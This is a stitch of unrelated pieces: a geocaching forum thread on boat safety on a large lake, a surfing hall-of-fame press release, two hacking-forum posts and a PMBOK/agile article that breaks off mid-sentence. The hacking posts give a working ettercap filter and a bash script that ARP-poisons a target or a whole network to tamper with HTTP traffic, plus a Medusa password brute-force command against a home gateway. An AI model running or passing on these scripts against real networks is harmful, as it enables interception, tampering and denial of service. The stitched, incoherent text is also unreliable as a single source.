I'll start researching other ideas... Meanwhile, anyone who's interested in going, please let me know, along with how many people and whether you'd prefer to leave from the south end of the lake or from Angle Inlet...
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Posted: Wed Mar 03, 2010 1:14 am
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All I remember from up there was all the boat charters were saying they go from the angle because when you go from that south shore there is some sort of really rough area they equate to the Bermuda Triangle, super rough water for no real reason. I'm guessing if they don't like it it really isn't something an amateur would want to tackle.
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Posted: Wed Mar 03, 2010 7:01 am
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Would like to get this cache as I haven't yet. I would rather do something like this on a three day weekend (ie: Memorial weekend) but I think I already have plans for that one to go up along the shore of Lake superior getting the SP caches along that stretch and even getting up into thunder bay in Canada to grab a few there.
My only problem with the following weekend is that would make a real late night as it's about a 6 1/2 hour drive up there from home, and I wouldn't leave till probably 6-7 at night. I wouldn't get up there till late (or Early) whichever way you look at it. I would probably stop someplace on the way up that night and finish the trip early the next morning. I am guessing you wouldn't leave till at least 9-10 in the morning on Saturday, anyway.
It's a little too early to commit to this, but I might be interested.
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Posted: Wed Mar 03, 2010 9:23 am
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I may be interested as well.
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Posted: Wed Mar 03, 2010 9:59 am
Post subject: Re: Garden Island 2010
Pear Head wrote:
qwerty2582 wrote:
The current plan is to rent a pontoon and take to the open lake
Also, if you've made the trip and you think I'm completely off-base and/or crazy, please let me know that as well
I'll add one more just in case ... Don't Do It!
We were bopping along the eastern shore & among the islands in a 52' houseboat. It was decided that we should see some open water & headed west toward the middle ... BAD MISTAKE! The waves get really LARGE out that-a-way. No we did not founder, but possibly would have with a less experienced big water pilot & the fact that we beat it back east toward protective shores pronto! YMMV, but it would be best not to chance it.
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Posted: Wed Mar 03, 2010 10:46 am
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I was on the 2008 tour with MNMizzou and gang (the Paklid trip) and even though Captain Debbie said conditions were good (for her 30'+ boat), swells and waves were in excess of 3 to 4' in some places, and we barely hit open water from the north.
I say don't do it. But if you do, make sure you have your life in order first so your families don't suffer financially after you're gone.
And I mean that mostly in all seriousness and only 25% in gest.
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Posted: Wed Mar 03, 2010 11:53 am
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My husband and I went to Garden Island last year with Captain Deb from Angle Inlet. It is best to hire a professional. We hit some 6' swells in areas. She didn't even dock at the island while we cached because the waves were too large on that side. We waved her back in to pick us up when we were done.
At a minimum, you want a large boat with navigation and a radio. Again, I highly suggest a professional. Yes, it can be expensive but the safety of you and your fellow passengers is worth it.
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Posted: Wed Mar 03, 2010 12:15 pm
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My license and experience make me a bit of a big water expert, and Id say if you cant read waves, dont try it, from the south or the angle. I fish similar water in Canada and understand how quick things can change. Smooth as glass on the way out, 6 foot breakers on the way back. Ive also spent years as captain on Lake Michigan, and all I can say is when those waves start to break over your bow, you better know what to do, and if you let them roll over your stern, youre in big trouble.
If you are intent on renting a boat and going for it, youll need more than a pontoon. Gas requirements alone would make that a bit of a challenge. Look for something in the 18 range, Deep V, with a 115hp or 150hp, and a marine radio. Just after breakfast, youll see lines of boats heading north. Run up with them, letting them cut the water for you. The guy up front will know what he is doing. My point is, dont go alone, up or back.
I went to the island with Deb in a 17 fishing boat and 3-4 foot waves. I was doing all the north western parks at the time and didnt want to pull my boat all over the state. We both had stories of people we had to rescue from situations they never should have been in. Dont be one of them. When I was on the island, looking at the waves hitting the windward side, I was glad we were heading the other way.
Have you considered going next weekend? I think they are forecasting calm, hard water. There is a marked snowmobile trail all the way out to the island. Is that one winter friendly?
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Posted: Wed Mar 03, 2010 12:29 pm
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Have you considered going next weekend? I think they are forecasting calm, hard water. There is a marked snowmobile trail all the way out to the island. Is that one winter friendly?
I considered it back in January (you know, when it was really freaking cold out... figured the ice would be particularly safe at that point, although being on ice in the middle of a lake still freaks me out a bit), and all of the friends/family I told thought I was crazy and should wait for spring/summer. I thought they were crazy for wanting to wait... And now it's too late - My March is booked up.
My initial water plan was Captain Deb (I've already been in touch with her), but I have a friend who would like to come along that cannot get into Canada, and others that do not have passports. That's why I started exploring this route.
All the experience in this thread is bringing me back to reality, and to the realization that Captain Deb is probably the smartest way to go at the end of the day...
Or perhaps I just need to hire a Rat to pilot the boat
I'm definitely appreciative of all the advice I'm getting here, and I'll definitely keep it in mind! Better safe than sorry!
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Posted: Wed Mar 03, 2010 12:45 pm
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When I go, I'm going to troll my way up, have a nice walleye shore lunch, do a little caching, then troll my way back letting those waves just roll on by.
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Huntington Beach, CA – June 3, 2011 – The votes have been tallied and seven legendary wave riders will once again be forever enshrined in surfing's history books. Through a selection ballot, a host of respected surf industry veterans, former professionals and surf journalists narrowed down a field of hundreds of candidates to name the seven 2011 Surfing Walk of Fame's honorees in their respective categories – Rob Machado (Surf Champion), Skip Frye (Surf Pioneer), Dick Dale (Surf Culture), Debbie Beacham and Kathy "Gidget" Kohner (tied for Women of the Year), Bill Fury (Local Hero) and The Hole in the Wall Gang (Honor Roll).
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I cant take credit for this, I simply took one of g0tmi1ks scripts (ssl strip/ettercap/urlsnarf) and whittled it down to a super simple image replacement script. So thanks to g0tmi1ks, so here it is.
preparation first! this is irongeeks image replacment script it has been updated from this original post on his blog, this filter is from the binary revolution forums.
copy paste that into a text file, and of course replace the urls with whatever lovely images you would like save this as something like fun.filterCode:if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string msg("zapped Accept-Encoding!\n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("src=", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC=", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("src =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); msg("Filter Ran.\n"); }
now open a terminal and cd into the directory with the fun.filter and run this
this makes the filter into something ettercap can read and applyCode:etterfilter fun.filter -o fun.ef
now iptables and runnin the script
edit your etter.conf and uncomment the ip_tables area like normal
copy paste the following into a .txt file and save it as something like imagefun.sh
again you need to change the part of the ettercap line /root/ECfilters/new.ef to whatever path your filter is in. now run the script!Code:#!/bin/bash echo -n "What interface to use? ie wlan0: " read -e IFACE echo -n "Gateway IP - LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: " read -e ROUTER echo -n "Target IP - LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: " read -e VICTIM iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 ettercap -T -i $IFACE -F /root/ECfilters/new.ef -M arp:remote /$ROUTER/ /$VICTIM/ -P repoison_arp iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain
This performs MUCH faster for me than the gui based ettercap filtering, however I havent tested it much and it seems to DoS my gfs laptop when I arp the whole network so please edit and improve this script if you like it. Thanks


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I have been attempting to use Medusa and Hydra on my 2wire gateway. As i'm sure some of you know, the 2wire gateways do not have a username and password prompt. And this (i think) is where my problem lies.
My code:
The responseCode:medusa -h 192.168.1.254 -f -u "" -P rockyou.txt -M http
However, my password is listed at line 200, not 1.Code:ACCOUNT CHECK: [http] Host: 192.168.1.254 (1 of 1, 0 complete) User: (1 of 1, 0 complete) Password: 123456 (1 of 14344391 complete) ACCOUNT FOUND: [http] Host: 192.168.1.254 User: Password: 123456 [SUCCESS]
I essentially get the same response with hydra (first password is the "correct" one. If I use a small word list, and remove the "-f" every entry is the correct password.)
Is there something about these programs I am not understanding? Or is it simply these programs will not work with the 2wire gateway setup.
Everything that I have seen so far regarding this topic is either from 2008, and or is a "back door" / glitch in the html coding that doesn't exist anymore.


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Michele Sliger understands the difficulties traditional project management practitioners go through as they transition from plan-driven approaches to newer agile methodologies. In this column, the first in a four-part series, Michele discusses the initial key area of PMBOK: integration management.
Like the authors of the Capability Maturity Model (CMM), professionals at the Project Management Institute (PMI) state that the Project Management Body of Knowledge (PMBOK) is a guide to best practices and that organizations must use their own discretion when implementing the practices. This is important to note, because the association that many IT professionals have with the PMBOK is that it advocates the waterfall methodology, when in fact it does not. Years of traditional plan-driven software development using waterfall methodologies have created an assumption that a waterfall approach is the only way to adhere to the practices prescribed in the PMBOK.
But I've found that many of the PMBOK practices can be followed (albeit it sometimes quite differently) in other methodology models, including those of the agile family. And like the PMBOK guidelines, agile methodologies have their own invalid assumptions to overcome, the most common being that they promote "cowboy coding" and are just shy of total chaos. In fact, agile methodologies, if followed with discipline and rigor, are compliant with CMMI and PMBOK best practices, just as traditional waterfall is compliant. What's different--beyond the obvious command-and-control dictatorship vs. self-organizing teams--is when and how these practices are executed and the new lexicon used by agile practitioners.
The Project Management Process Groups
The first translation is from the PMBOK naming conventions for the project management process groups to Jim Highsmith's Agile Project Management framework is the project management life cycle (Figure 1). The PMBOK identifies initiating, planning, executing, controlling, and closing as the process phases within project management. Highsmith reconfigured these phases to better reflect the reality of how software is truly developed, and defined them as envision, speculate, explore, adapt, and close. The envision phase is where the product vision is defined enough to provide a bordered sandbox within which to work. During speculation, that vision is translated into a set of features and an expected timebox within which to deliver those features. The explore phase is the iterative and incremental development of potentially shippable code. Production transitions into the adapt phase by scheduling stopping points along the way to inspect and adapt both the process and the product. Finally, in the close phase, teams have the opportunity to reflect on their achievements and make decisions based on what they've learned.
Figure 1: PMBOK Project Management Process Groups mapped to Jim Highsmith's Agile Project Management framework
A further translation of some of the activities performed in each phase is also warranted. Six key knowledge management areas defined in the PMBOK and deserving special attention are Project Integration Management, Project Scope Management and Project Time Management, Project Quality Management and Project Risk Management, and Project Human Resource Management . For each of these areas, the practices advocated by the PMBOK have their cousins in agile, but they are significantly different in their implementation.
Integration Management
A key deliverable in integration management is the project plan document, prepared and owned by the project manager. In agile software development, with its emphasis on just-in-time design and participatory decision making, this activity translates into several different envisioning and planning exercises done on an iterative basis. Rather than defining all of the elements of a project plan at the beginning of the project--scope, work breakdown structure, schedule, assumptions, and controls--the agile project manager will focus on planning using a level of detail that's more appropriate and realistic for the time horizon.
Waterfall's big up-front planning translates into agile's continuous planning, where gross-level features and estimates are planned at the beginning of a release, and more detailed planning of tasks and effort is done at